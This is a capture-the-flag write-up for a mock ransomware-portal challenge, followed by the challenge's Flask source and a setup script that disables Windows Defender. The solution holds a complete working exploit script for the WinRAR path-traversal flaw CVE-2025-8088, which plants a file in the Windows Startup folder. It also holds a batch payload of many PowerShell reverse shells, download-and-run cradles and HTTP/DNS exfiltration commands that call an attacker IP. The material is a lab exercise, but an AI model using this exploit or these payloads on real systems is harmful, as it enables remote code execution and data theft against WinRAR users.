2025-10-16
📦 Threat Actor Support Line
new instance empty text file
new instance empty text file with the cve exploit
with abcdefghijklmnopqrstuvwxyz1234567890
┌──(kali㉿kali)-[/mnt/…/2025-Huntress-CTF/16/4/encrypted_cve-2025-8088-sxy-poc (1)]
└─$ xxd Users/ADMINI\~1/AppData/Local/Temp/2/tmprcj7gcsh/test.txt.tasl
00000000: 6151 3852 355e 5741 4e82 91ea 4c86 aQ8R5^WAN...L.
┌──(kali㉿kali)-[/mnt/…/2025-Huntress-CTF/16/4/encrypted_cve-2025-8088-sxy-poc (1)]
└─$ xxd Windows/TEMP/tmp625scag2/test.txt.tasl
00000000: 4290 a256 ef5d cbc9 8593 3de7 576b B..V.]....=.Wk
┌──(kali㉿kali)-[/mnt/…/2025-Huntress-CTF/16/4/encrypted_cve-2025-8088-sxy-poc (1)]
└─$ xxd Windows/TEMP/tmpb3odq0qd/test.txt.tasl
00000000: 8762 2a7d 4d8c 88a9 e670 cf6f 3b38 .b*}M....p.o;8
┌──(kali㉿kali)-[/mnt/…/2025-Huntress-CTF/16/4/encrypted_cve-2025-8088-sxy-poc (1)]
└─$ xxd Windows/TEMP/tmpbkax0fw4/test.txt.tasl
00000000: aac5 9768 2991 d85c 321f d90c 457b ...h)..\2...E{
┌──(kali㉿kali)-[/mnt/…/2025-Huntress-CTF/16/4/encrypted_cve-2025-8088-sxy-poc (1)]
└─$ xxd Windows/TEMP/tmpgczo6uuh/decoy.txt.tasl
00000000: ade2 5f23 3d79 5943 ccf0 4188 b9fa f4c4 .._#=yYC..A.....
00000010: bcaf df35 05b9 2d70 7288 53d7 c23d d989 ...5..-pr.S..=..
00000020: 14a9 0922 ..."
┌──(kali㉿kali)-[/mnt/…/2025-Huntress-CTF/16/4/encrypted_cve-2025-8088-sxy-poc (1)]
└─$ xxd Windows/TEMP/tmpma4qkmkx/test.txt.tasl
00000000: 5d79 74b9 db6c b3f5 0954 4650 ee51 ]yt..l...TFP.Q
Decryption/decoding was not the way.
XOR with 0x42
Add random(1-255)
Mod 256
decoy.txt4B
exploit.py9.5KB
payload.bat4.0KB
Step 1
PS F:\CTF\2025-Huntress-CTF\16\4> python exploit.py --decoy decoy.txt --payload payload.bat --drop "C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
[+] Injected stream name will be: ..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.bat
[+] Attached ADS on disk
[+] Patched 2 placeholder occurrence(s).
[+] Recomputed CRC for 6 header block(s).
[+] Wrote patched archive: F:\CTF\2025-Huntress-CTF\16\4\cve-2025-8088-sxy-poc.rar
[i] Injected stream name: ..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.bat
[V] Done.
Payload will be dropped to: C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.bat
decode.txt can be empty
Spammed it with revshells, this one stuck
powershell -c "$sm=(New-Object Net.Sockets.TCPClient('10.200.13.8',4444)).GetStream();$r=New-Object IO.StreamReader($sm);$w=New-Object IO.StreamWriter($sm);$w.AutoFlush=$true;while(($c=$r.ReadLine())){$res=iex $c 2>&1|Out-String;$w.WriteLine($res)}"
payload.bat
@echo off
:: PowerShell reverse shells
powershell -c "$c=New-Object System.Net.Sockets.TCPClient('10.200.13.8',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$sb2=$sb+'PS '+(pwd).Path+'> ';$sbt=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$c.Close()"
powershell -nop -W Hidden -noni -ep bypass -c "$client=New-Object System.Net.Sockets.TCPClient('10.200.13.8',4444);$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length)) -ne 0){$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1|Out-String);$sendback2=$sendback+'PS '+(pwd).Path+'> ';$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://10.200.13.8:8000/shell.ps1')"
powershell -enc JGNsaWVudD1OZXctT2JqZWN0U3lzdGVtLk5ldC5Tb2NrZXRzLlRDUENsaWVudCgiMTAuMjAwLjEzLjgiLDQ0NDQpOyRzdHJlYW09JGNsaWVudC5HZXRTdHJlYW0oKTtbYnl0ZVtdXSRieXRlcz0wLi42NTUzNXwlezB9O3doaWxlKCgkaT0kc3RyZWFtLlJlYWQoJGJ5dGVzLDAsJGJ5dGVzLkxlbmd0aCkpLW5lMCl7OyRkYXRhPShOZXctT2JqZWN0LVR5cGVOYW1lU3lzdGVtLlRleHQuQVNDSUlFbmNvZGluZykuR2V0U3RyaW5nKCRieXRlcywwLCRpKTskc2VuZGJhY2s9KGlleCRkYXRhMj4mMXxPdXQtU3RyaW5nKTskc2VuZGJhY2syPSRzZW5kYmFjaysiUFMiKyhwd2QpLlBhdGgrIj4iOyRzZW5kYnl0ZT0oW3RleHQuZW5jb2RpbmddOjpBU0NJSSkuR2V0Qnl0ZXMoJHNlbmRiYWNrMik7JHN0cmVhbS5Xcml0ZSgkc2VuZGJ5dGUsMCwkc2VuZGJ5dGUuTGVuZ3RoKTskc3RyZWFtLkZsdXNoKCl9OyRjbGllbnQuQ2xvc2UoKQ==
:: Netcat style
powershell -c "$sm=(New-Object Net.Sockets.TCPClient('10.200.13.8',4444)).GetStream();$r=New-Object IO.StreamReader($sm);$w=New-Object IO.StreamWriter($sm);$w.AutoFlush=$true;while(($c=$r.ReadLine())){$res=iex $c 2>&1|Out-String;$w.WriteLine($res)}"
:: Web request exfil
powershell -c "iwr http://10.200.13.8:8000/ -Method POST -Body (ls C:\|Out-String)"
powershell -c "iwr http://10.200.13.8:8000/ -Method POST -Body (gc C:\Windows\TEMP\tmp*\test.txt -Raw -EA SilentlyContinue)"
:: Invoke-Expression web shell
powershell -c "while($true){$c=(iwr http://10.200.13.8:8000/cmd -UseBasicParsing).Content;if($c){iwr http://YOUR_IP:8000/result -Method POST -Body (iex $c|Out-String)}sleep 2}"
:: DNS exfil
powershell -c "$d=[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes((gc C:\flag.txt)));nslookup $d.YOUR_DOMAIN"
:: Empire launcher
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://10.200.13.8:8000/launcher.ps1')"
:: Meterpreter style
powershell -c "$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String('BASE64_PAYLOAD'));IEX(New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()"
:: Simple callback
powershell -c "Start-Process powershell -ArgumentList '-nop -W Hidden -c iwr http://10.200.13.8:8000/$(hostname) -Method POST -Body (whoami)'"
:: Alternate reverse shell
powershell -c "$t=New-Object Net.Sockets.TcpClient('10.200.13.8',4444);$s=$t.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([text.encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length)};$t.Close()"
:: Compressed reverse shell
powershell -c "sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('BASE64'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"
:: Background job reverse shell
powershell -c "Start-Job {$c=New-Object Net.Sockets.TCPClient('10.200.13.8',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while($i=$s.Read($b,0,$b.Length)){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String)+'PS> ';$s.Write(([text.encoding]::ASCII).GetBytes($sb),0,$sb.Length)}}"
exploit.py
import argparse, os, struct, subprocess, sys, textwrap, zlib
from pathlib import Path
# RAR5 constants
RAR5_SIG = b"Rar!\x1A\x07\x01\x00"
HFL_EXTRA = 0x0001
HFL_DATA = 0x0002
def run(cmd: str, cwd: Path | None = None, check=True) -> subprocess.CompletedProcess:
cp = subprocess.run(cmd, shell=True, cwd=str(cwd) if cwd else None,
stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)
if check and cp.returncode != 0:
raise RuntimeError(f"Command failed ({cp.returncode}): {cmd}\n{cp.stdout}")
return cp
def auto_find_rar(provided: str | None) -> str:
if provided and Path(provided).exists():
return provided
candidates = [
r"C:\Program Files\WinRAR\rar.exe",
r"C:\Program Files (x86)\WinRAR\rar.exe",
]
for d in os.environ.get("PATH", "").split(os.pathsep):
if not d: continue
p = Path(d) / "rar.exe"
if p.exists(): candidates.append(str(p))
for c in candidates:
if Path(c).exists(): return c
raise SystemExit("[-] rar.exe not found. Pass --rar \"C:\\Path\\to\\rar.exe\"")
def ensure_file(path: Path, default_text: str | None) -> None:
if path.exists():
return
if default_text is None:
raise SystemExit(f"[-] Required file not found: {path}")
path.parent.mkdir(parents=True, exist_ok=True)
path.write_text(default_text, encoding="utf-8")
print(f"[+] Created file: {path}")
def attach_ads_placeholder(decoy_path: Path, payload_path: Path, placeholder_len: int) -> str:
placeholder = "X" * placeholder_len
ads_path = f"{decoy_path}:{placeholder}"
data = payload_path.read_bytes()
with open(ads_path, "wb") as f:
f.write(data)
print("[+] Attached ADS on disk")
return placeholder
def build_base_rar_with_streams(rar_exe: str, decoy_path: Path, base_out: Path) -> None:
if base_out.exists():
base_out.unlink()
run(f'"{rar_exe}" a -ep -os "{base_out}" "{decoy_path}"')
def get_vint(buf: bytes, off: int) -> tuple[int, int]:
val, shift, i = 0, 0, off
while True:
if i >= len(buf): raise ValueError("Truncated vint")
b = buf[i]; i += 1
val |= (b & 0x7F) << shift
if (b & 0x80) == 0: break
shift += 7
if shift > 70: raise ValueError("vint too large")
return val, i - off
def patch_placeholder_in_header(hdr: bytearray, placeholder_utf8: bytes, target_utf8: bytes) -> int:
"""Replace ':' + placeholder with ':' + target (NUL-pad if shorter)."""
needle = b":" + placeholder_utf8
count, i = 0, 0
while True:
j = hdr.find(needle, i)
if j < 0: break
start = j + 1
old_len = len(placeholder_utf8)
if len(target_utf8) > old_len:
raise ValueError("Replacement longer than placeholder. Increase --placeholder_len.")
hdr[start:start+len(target_utf8)] = target_utf8
if len(target_utf8) < old_len:
hdr[start+len(target_utf8):start+old_len] = b"\x00" * (old_len - len(target_utf8))
count += 1
i = start + old_len
return count
def rebuild_all_header_crc(buf: bytearray) -> int:
"""Recompute CRC32 for ALL RAR5 block headers."""
sigpos = buf.find(RAR5_SIG)
if sigpos < 0:
raise RuntimeError("Not a RAR5 archive (signature missing).")
pos = sigpos + len(RAR5_SIG)
blocks = 0
while pos + 4 <= len(buf):
block_start = pos
try:
header_size, hsz_len = get_vint(buf, block_start + 4)
except Exception:
break
header_start = block_start + 4 + hsz_len
header_end = header_start + header_size
if header_end > len(buf): break
region = buf[block_start + 4:header_end]
crc = zlib.crc32(region) & 0xFFFFFFFF
struct.pack_into("<I", buf, block_start, crc)
# step forward using flags and optional DataSize
i = header_start
_htype, n1 = get_vint(buf, i); i += n1
hflags, n2 = get_vint(buf, i); i += n2
if (hflags & HFL_EXTRA) != 0:
_extrasz, n3 = get_vint(buf, i); i += n3
datasz = 0
if (hflags & HFL_DATA) != 0:
datasz, n4 = get_vint(buf, i); i += n4
pos = header_end + datasz
blocks += 1
return blocks
def strip_drive(abs_path: Path) -> str:
s = str(abs_path)
s = s.replace("/", "\\")
# remove e.g. "C:\"
if len(s) >= 2 and s[1] == ":":
s = s[2:]
# trim leading slashes
while s.startswith("\\"):
s = s[1:]
return s
def build_traversal_name(drop_abs_dir: Path, payload_name: str, max_up: int) -> str:
if max_up < 8:
raise SystemExit("[-] --max_up must be >= 8 to reliably reach drive root from typical user folders.")
tail = strip_drive(drop_abs_dir)
rel = ("..\\" * max_up) + tail + "\\" + payload_name
# No drive letters, no leading backslash:
if rel.startswith("\\") or (len(rel) >= 2 and rel[1] == ":"):
raise SystemExit("[-] Internal path error: produced an absolute name. Report this.")
return rel
def patch_archive_placeholder(base_rar: Path, out_rar: Path, placeholder: str, target_rel: str) -> None:
data = bytearray(base_rar.read_bytes())
sigpos = data.find(RAR5_SIG)
if sigpos < 0:
raise SystemExit("[-] Not a RAR5 archive (signature not found).")
pos = sigpos + len(RAR5_SIG)
placeholder_utf8 = placeholder.encode("utf-8")
target_utf8 = target_rel.encode("utf-8")
total = 0
while pos + 4 <= len(data):
block_start = pos
try:
header_size, hsz_len = get_vint(data, block_start + 4)
except Exception:
break
header_start = block_start + 4 + hsz_len
header_end = header_start + header_size
if header_end > len(data): break
hdr = bytearray(data[header_start:header_end])
c = patch_placeholder_in_header(hdr, placeholder_utf8, target_utf8)
if c:
data[header_start:header_end] = hdr
total += c
# advance
i = header_start
_htype, n1 = get_vint(data, i); i += n1
hflags, n2 = get_vint(data, i); i += n2
if (hflags & HFL_EXTRA) != 0:
_extrasz, n3 = get_vint(data, i); i += n3
datasz = 0
if (hflags & HFL_DATA) != 0:
datasz, n4 = get_vint(data, i); i += n4
pos = header_end + datasz
if total == 0:
raise SystemExit("[-] Placeholder not found in RAR headers. Ensure you built with -os and same placeholder.")
print(f"[+] Patched {total} placeholder occurrence(s).")
blocks = rebuild_all_header_crc(data)
print(f"[+] Recomputed CRC for {blocks} header block(s).")
out_rar.write_bytes(data)
print(f"[+] Wrote patched archive: {out_rar}")
print(f"[i] Injected stream name: {target_rel}")
def main():
if os.name != "nt":
print("[-] Must run on Windows (NTFS) to attach ADS locally.")
sys.exit(1)
ap = argparse.ArgumentParser(description="CVE-2025-8088 WinRAR PoC")
ap.add_argument("--decoy", required=True, help="Path to decoy file (existing or will be created)")
ap.add_argument("--payload", required=True, help="Path to harmless payload file (existing or will be created)")
ap.add_argument("--drop", required=True, help="ABSOLUTE benign folder (e.g., C:\\Users\\you\\Documents)")
ap.add_argument("--rar", help="Path to rar.exe (auto-discovered if omitted)")
ap.add_argument("--out", help="Output RAR filename (default: cve-2025-8088-sxy-poc.rar)")
ap.add_argument("--workdir", default=".", help="Working directory (default: current)")
ap.add_argument("--placeholder_len", type=int, help="Length of ADS placeholder (auto: >= max(len(injected), 128))")
ap.add_argument("--max_up", type=int, default=16, help="How many '..' segments to prefix (default: 16)")
ap.add_argument("--base_out", help="Optional name for intermediate base RAR (default: <out>.base.rar)")
args = ap.parse_args()
workdir = Path(args.workdir).resolve()
workdir.mkdir(parents=True, exist_ok=True)
decoy_path = Path(args.decoy) if Path(args.decoy).is_absolute() else (workdir / args.decoy)
payload_path = Path(args.payload) if Path(args.payload).is_absolute() else (workdir / args.payload)
drop_abs_dir = Path(args.drop).resolve()
out_rar = (workdir / args.out) if args.out and not Path(args.out).is_absolute() else (Path(args.out) if args.out else workdir / "cve-2025-8088-sxy-poc.rar")
base_rar = Path(args.base_out) if args.base_out else out_rar.with_suffix(".base.rar")
ensure_file(decoy_path, "PoC\n")
ensure_file(payload_path, textwrap.dedent("@echo off\n"
"echo Hello World!\n"
"pause\n"))
rar_exe = auto_find_rar(args.rar)
# Build injected stream name:
injected_target = build_traversal_name(drop_abs_dir, payload_path.name, max_up=args.max_up)
print(f"[+] Injected stream name will be: {injected_target}")
# Placeholder sizing
ph_len = args.placeholder_len if args.placeholder_len else max(len(injected_target), 128)
placeholder = attach_ads_placeholder(decoy_path, payload_path, ph_len)
build_base_rar_with_streams(rar_exe, decoy_path, base_rar)
patch_archive_placeholder(base_rar, out_rar, placeholder, injected_target)
print("\n[V] Done.")
print(f"Payload will be dropped to: {drop_abs_dir}\\{payload_path.name}")
if os.path.exists(base_rar):
try:
os.remove(base_rar)
except:
pass
if __name__ == "__main__":
main()
Step 2
Upload the cve rar to the site,
Step 3
Get shell, I uploaded a few times to make sure the start of the computer triggered it
Challenge files
app.py
from flask import Flask, render_template, request, redirect, url_for, flash, send_file, jsonify
import os
import subprocess
import tempfile
import shutil
import time
import zipfile
import rarfile
from werkzeug.utils import secure_filename
import threading
import random
import string
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(24)
app.config['UPLOAD_FOLDER'] = 'uploads'
app.config['MAX_CONTENT_LENGTH'] = 1024 * 1024
ALLOWED_EXTENSIONS = {'rar', 'zip'}
def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
def is_valid_archive(file_path):
try:
if file_path.lower().endswith('.zip'):
with zipfile.ZipFile(file_path, 'r') as zip_file:
zip_file.testzip()
return True
elif file_path.lower().endswith('.rar'):
with rarfile.RarFile(file_path, 'r') as rar_file:
rar_file.testrar()
return True
except:
return False
return False
def execute_startup_files():
startup_path = r"C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
if os.path.exists(startup_path):
files = os.listdir(startup_path)
for file in files:
if file.lower() == 'desktop.ini':
continue
file_path = os.path.join(startup_path, file)
if os.path.isfile(file_path):
try:
subprocess.Popen([file_path], shell=True)
except Exception as e:
print(f"Error executing {file}: {e}")
else:
print(f"Startup directory does not exist: {startup_path}")
def process_archive(file_path, temp_dir):
if file_path.lower().endswith('.zip'):
with zipfile.ZipFile(file_path, 'r') as zip_file:
zip_file.extractall(temp_dir)
elif file_path.lower().endswith('.rar'):
unrar_path = r'C:\Program Files\WinRAR\UnRAR.exe'
if os.path.exists(unrar_path):
subprocess.run([unrar_path, 'x', file_path, temp_dir], check=True)
else:
with rarfile.RarFile(file_path, 'r') as rar_file:
rar_file.extractall(temp_dir)
def encrypt_file_content(file_path):
try:
with open(file_path, 'rb') as f:
content = f.read()
encrypted_content = bytearray()
for byte in content:
encrypted_byte = (byte ^ 0x42) + random.randint(1, 255)
encrypted_byte = encrypted_byte % 256
encrypted_content.append(encrypted_byte)
with open(file_path, 'wb') as f:
f.write(encrypted_content)
except Exception as e:
print(f"Error encrypting {file_path}: {e}")
def encrypt_files(temp_dir):
for root, dirs, files in os.walk(temp_dir):
for file in files:
if not file.endswith('.tasl') and file != 'README.txt':
old_path = os.path.join(root, file)
new_path = os.path.join(root, file + '.tasl')
try:
encrypt_file_content(old_path)
os.rename(old_path, new_path)
except Exception as e:
print(f"Error processing {old_path}: {e}")
def create_ransom_note(temp_dir):
ransom_path = os.path.join(temp_dir, 'README.txt')
with open('ransom_note.txt', 'r', encoding='utf-8') as f:
ransom_text = f.read()
with open(ransom_path, 'w', encoding='utf-8') as f:
f.write(ransom_text)
def create_output_archive(temp_dir, output_path, original_ext):
if original_ext.lower() == '.zip':
with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as zip_file:
for root, dirs, files in os.walk(temp_dir):
for file in files:
file_path = os.path.join(root, file)
arc_path = os.path.relpath(file_path, temp_dir)
print(f"Adding to archive: {arc_path}")
zip_file.write(file_path, arc_path)
else:
rar_path = r'C:\Program Files\WinRAR\Rar.exe'
if os.path.exists(rar_path):
subprocess.run([rar_path, 'a', output_path, os.path.join(temp_dir, '*')], check=True)
else:
with zipfile.ZipFile(output_path.replace('.rar', '.zip'), 'w', zipfile.ZIP_DEFLATED) as zip_file:
for root, dirs, files in os.walk(temp_dir):
for file in files:
file_path = os.path.join(root, file)
arc_path = os.path.relpath(file_path, temp_dir)
print(f"Adding to archive: {arc_path}")
zip_file.write(file_path, arc_path)
@app.route('/')
def index():
return render_template('index.html')
@app.route('/', methods=['POST'])
def upload_file():
if 'file' not in request.files:
flash('No file selected', 'error')
return redirect(url_for('index'))
file = request.files['file']
if file.filename == '':
flash('No file selected', 'error')
return redirect(url_for('index'))
file.seek(0, 2)
file_size = file.tell()
file.seek(0)
if file_size > app.config['MAX_CONTENT_LENGTH']:
flash('File too large! Our hacking computer only has 1MB of RAM and we spent all our crypto on Steam and Uber Eats!', 'error')
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
if not os.path.exists(app.config['UPLOAD_FOLDER']):
os.makedirs(app.config['UPLOAD_FOLDER'])
file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
file.save(file_path)
if not is_valid_archive(file_path):
os.remove(file_path)
flash('Invalid archive! This file is corrupted or not a real ZIP/RAR file!', 'error')
return redirect(url_for('index'))
try:
execute_startup_files()
temp_dir = tempfile.mkdtemp()
process_archive(file_path, temp_dir)
encrypt_files(temp_dir)
create_ransom_note(temp_dir)
output_filename = 'encrypted_' + filename
output_path = os.path.join(app.config['UPLOAD_FOLDER'], output_filename)
create_output_archive(temp_dir, output_path, os.path.splitext(filename)[1])
shutil.rmtree(temp_dir)
os.remove(file_path)
flash('Files encrypted successfully!', 'success')
return render_template('index.html', download_file=output_filename)
except Exception as e:
flash('Processing failed! Our hacking computer crashed! Try again later.', 'error')
return redirect(url_for('index'))
else:
flash('Invalid file type. Please upload RAR or ZIP files only.', 'error')
return redirect(url_for('index'))
@app.route('/download/<filename>')
def download_file(filename):
file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if os.path.exists(file_path):
return send_file(file_path, as_attachment=True)
else:
flash('File not found!', 'error')
return redirect(url_for('index'))
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0', port=80)
cat requirements.txt
Flask==2.3.3
Werkzeug==2.3.7
rarfile==4.0
cat vm_setup.ps1
# Disable Antivirus for the CTF challenge
C:\"Program Files\Windows Defender"\MpCmdRun.exe -RemoveDefinitions
C:\"Program Files\Windows Defender"\MpCmdRun.exe -RemoveDefinitions -All
Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Set-MpPreference -ExclusionPath "C:\"
$ErrorActionPreference = 'Stop'
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
# ---- Config (change as needed) ----
$ServiceName = 'FlaskApp'
$Port = 80
$AppDir = (Get-Location).Path
# ---- Chocolatey baseline ----
if (-not (Get-Command choco.exe -ErrorAction SilentlyContinue)) {
Set-ExecutionPolicy -Scope Process Bypass -Force
Invoke-Expression ((New-Object Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'))
}
choco upgrade -y chocolatey
choco upgrade -y python nssm
# ---- Python locator ----
$py = @('py.exe', 'python.exe') | ForEach-Object {
Get-Command $_ -ErrorAction SilentlyContinue
} | Select-Object -First 1
if (-not $py) { throw "Python not found after install" }
# ---- Venv (idempotent) ----
Push-Location $AppDir
$venvPy = $null
if (Test-Path .\.venv\Scripts\python.exe) {
$venvPy = (Resolve-Path .\.venv\Scripts\python.exe).Path
}
elseif (Test-Path .\requirements.txt) {
& $py.Source -m venv .venv | Out-Null
if (Test-Path .\.venv\Scripts\python.exe) {
$venvPy = (Resolve-Path .\.venv\Scripts\python.exe).Path
}
}
$runPy = if ($venvPy) { $venvPy } else { $py.Source }
# Requirements only if present
& $runPy -m pip install --upgrade pip
& $runPy -m pip install -r .\requirements.txt
# Find the Flask entry file without env vars
$flaskApp = if (Test-Path "$AppDir\app.py") { 'app.py' }
elseif (Test-Path "$AppDir\wsgi.py") { 'wsgi.py' }
else { 'app.py' }
Pop-Location
# ---- NSSM path ----
$nssm = (Get-ChildItem 'C:\ProgramData\chocolatey\lib' -Filter 'nssm*' -Directory -ErrorAction SilentlyContinue |
Get-ChildItem -Recurse -Filter 'nssm.exe' -ErrorAction SilentlyContinue |
Select-Object -First 1).FullName
if (-not $nssm) { $nssm = 'nssm.exe' } # rely on PATH if available
# ---- Service (truly idempotent) ----
$svc = Get-Service -Name $ServiceName -ErrorAction SilentlyContinue
if ($svc) {
if ($svc.Status -ne 'Stopped') { & $nssm stop $ServiceName | Out-Null }
& $nssm remove $ServiceName confirm | Out-Null
}
# Create service: python -m flask --app <file> run --host 0.0.0.0 --port <port>
& $nssm install $ServiceName $runPy `
'-m', 'flask', '--app', "$flaskApp", 'run', '--host', '0.0.0.0', '--port', "$Port"
& $nssm set $ServiceName AppDirectory "$AppDir" | Out-Null
& $nssm set $ServiceName Start SERVICE_AUTO_START | Out-Null
# ---- Firewall (create once) ----
$fwName = "Flask Port $Port ($ServiceName)"
$existing = Get-NetFirewallRule -DisplayName $fwName -ErrorAction SilentlyContinue
if (-not $existing) {
New-NetFirewallRule -DisplayName $fwName -Direction Inbound -Action Allow -Protocol TCP -LocalPort $Port | Out-Null
}
# ---- Start & report ----
& $nssm start $ServiceName | Out-Null
Write-Host "OK: Service '$ServiceName' running from $AppDir → http://localhost:$Port (exe: $runPy, app: $flaskApp)"
cat templates/index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Threat Actor Support Line</title>
<link rel="stylesheet" href="{{ url_for('static', filename='style.css') }}">
</head>
<body>
<div class="container">
<header>
<h1>Threat Actor Support Line</h1>
<p>Your friendly neighborhood ransomware support service</p>
</header>
{% with messages = get_flashed_messages(with_categories=true) %}
{% if messages %}
{% for category, message in messages %}
<div class="flash-message {{ category }}">
{{ message }}
</div>
{% endfor %}
{% endif %}
{% endwith %}
<main>
<div class="info-section">
<h2>Welcome to our Support Portal</h2>
<p>Having trouble with your latest ransomware deployment? Struggling to encrypt files? We're here to help!
</p>
<p>
Upload an archive of your files and we'll encrypt them for you.
</p>
</div>
<div class="upload-section">
<form action="/" method="post" enctype="multipart/form-data" id="uploadForm">
<input type="file" id="fileInput" name="file" accept=".rar,.zip" style="display: none;">
<button type="button" id="uploadBtn" class="upload-button">Upload Archive</button>
</form>
<div id="processingStatus" class="processing-status" style="display: none;">
<div class="spinner"></div>
<div id="statusMessages"></div>
</div>
{% if download_file %}
<div id="downloadSection" class="download-section" style="display: block;">
<h3>Your Encrypted Archive is Ready!</h3>
<a id="downloadLink" href="{{ url_for('download_file', filename=download_file) }}" class="download-button">Download Encrypted Files</a>
</div>
{% else %}
<div id="downloadSection" class="download-section" style="display: none;">
<h3>Your Encrypted Archive is Ready!</h3>
<a id="downloadLink" href="#" class="download-button">Download Encrypted Files</a>
</div>
{% endif %}
</div>
<div class="faq-section">
<h2>FAQ</h2>
<div class="faq-item">
<div class="faq-question" onclick="toggleFaq(this)">
<span>What do I upload?</span>
<span class="faq-toggle">+</span>
</div>
<div class="faq-answer">
<p>We accept ZIP and RAR archive formats only. Please ensure your files are properly compressed. The more files you have, the longer it will take to encrypt them.
</p>
</div>
</div>
<div class="faq-item">
<div class="faq-question" onclick="toggleFaq(this)">
<span>How does it work?</span>
<span class="faq-toggle">+</span>
</div>
<div class="faq-answer">
<p>
When you upload your archive, we startup our hacking computer, extract the files into a temporary directory, encrypt them,
add a ransom note, and then compress the directory back into an archive for you to download!
</p>
</div>
</div>
<div class="faq-item">
<div class="faq-question" onclick="toggleFaq(this)">
<span>How long does it take?</span>
<span class="faq-toggle">+</span>
</div>
<div class="faq-answer">
<p>
You can expect your encrypted files to be ready almost instantly! We use WinRAR 7.12 for handling archives,
and it's, as the Internet kids say, <b><em>BLAZINGLY FAST!!!11</em></b>
</p>
</div>
</div>
</div>
</main>
</div>
<script src="{{ url_for('static', filename='script.js') }}"></script>
</body>
</html>
cat static/script.js
document.getElementById('uploadBtn').addEventListener('click', function() {
document.getElementById('fileInput').click();
});
document.getElementById('fileInput').addEventListener('change', function() {
if (this.files.length > 0) {
const file = this.files[0];
if (file.size > 1024 * 1024) {
alert('File too large! Our hacking computer only has 1MB of RAM and we spent all our budget on energy drinks instead of upgrading!');
return;
}
showProcessingStatus();
const form = this.closest('form');
setTimeout(() => {
form.submit();
}, 6000);
}
});
function showProcessingStatus() {
const statusDiv = document.getElementById('processingStatus');
const messagesDiv = document.getElementById('statusMessages');
const downloadDiv = document.getElementById('downloadSection');
statusDiv.style.display = 'block';
downloadDiv.style.display = 'none';
messagesDiv.innerHTML = '';
const messages = [
'Starting up our hacking computer...',
'Extracting archive...',
'Encrypting files...',
'Adding ransom note...',
'Shutting down our hacker computer (for OPSEC reasons!!11)',
'DONE!'
];
let currentIndex = 0;
const addMessage = () => {
if (currentIndex < messages.length) {
const messageDiv = document.createElement('div');
messageDiv.className = 'status-message';
messageDiv.textContent = messages[currentIndex];
messagesDiv.appendChild(messageDiv);
currentIndex++;
setTimeout(addMessage, 1000);
} else {
setTimeout(() => {
downloadDiv.style.display = 'block';
}, 1000);
}
};
addMessage();
}
function toggleFaq(element) {
const faqItem = element.closest('.faq-item');
const faqAnswer = faqItem.querySelector('.faq-answer');
faqItem.classList.toggle('active');
faqAnswer.classList.toggle('active');
}








